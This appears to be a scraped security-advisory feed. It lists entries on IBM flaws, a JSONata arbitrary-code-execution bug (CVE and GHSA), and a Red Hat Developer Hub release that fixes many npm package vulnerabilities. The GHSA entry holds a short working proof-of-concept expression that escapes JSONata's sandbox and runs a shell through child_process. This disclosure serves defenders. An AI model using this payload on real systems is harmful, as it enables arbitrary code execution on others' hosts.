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bdu:2026-12627

2026-10-08T18:33:09.184465+00:00

bdu:2026-12627

certfr-2026-avi-1165 — De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquan…

2026-10-08T18:33:09.184509+00:00

certfr-2026-avi-1165

fkie_cve-2026-77414

2026-10-08T18:33:09.184531+00:00

JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.

GHSA-2943-5xfg-gq5f — JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

2026-10-08T18:33:09.184564+00:00

Affected: npm: jsonata

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.

## PoC

```js import jsonata from "jsonata";

const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`);

await expression.evaluate({}); ```

RHSA-2026:76788 — Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.

2026-10-08T18:33:09.184604+00:00

undici: undici: Denial of Service via unrequested WebSocket subprotocol vm2: vm2: Denial of Service due to memory allocation limit bypass vm2: vm2: Missing Error.cause Sanitization Enables VM2 Sandbox Escape to RCE vm2: vm2: Sandbox Breakout Using Dangerous Host Proto Mutators urllib: urllib: Credential leakage via cross-origin redirects fast-uri: fast-uri: Server-Side Request Forgery via repeated hostname percent-decoding fast-uri: fast-uri: Host confusion via skipped IDN canonicalization fast-uri: fast-uri: Server-side request forgery via malformed IPv6 normalization fast-uri: fast-uri: URI parsing flaw enables server-side request forgery and redirects multer: Multer: Denial of Service via file descriptor leak on aborted uploads multer: Multer: Denial of Service via crafted multipart field names jsonata: JSONata: Arbitrary Code Execution via crafted JSONata expressions jsonata: JSONata: Arbitrary Code Execution via crafted JSONata expressions jsonata: JSONata: Arbitrary Code Execution via crafted JSONata expressions multer: Multer: Denial of Service via oversized array index in field names qs: qs: Denial of Service via improper validation in stringify function fast-uri: fast-uri: Authority Injection via Unvalidated Port Serialization js-yaml: js-yaml: Denial of Service vulnerability in YAML parsing fast-uri: fast-uri: Host confusion via unbalanced URI brackets can bypass security policies undici: undici: TLS certificate validation bypass in BalancedPool via dropped connect…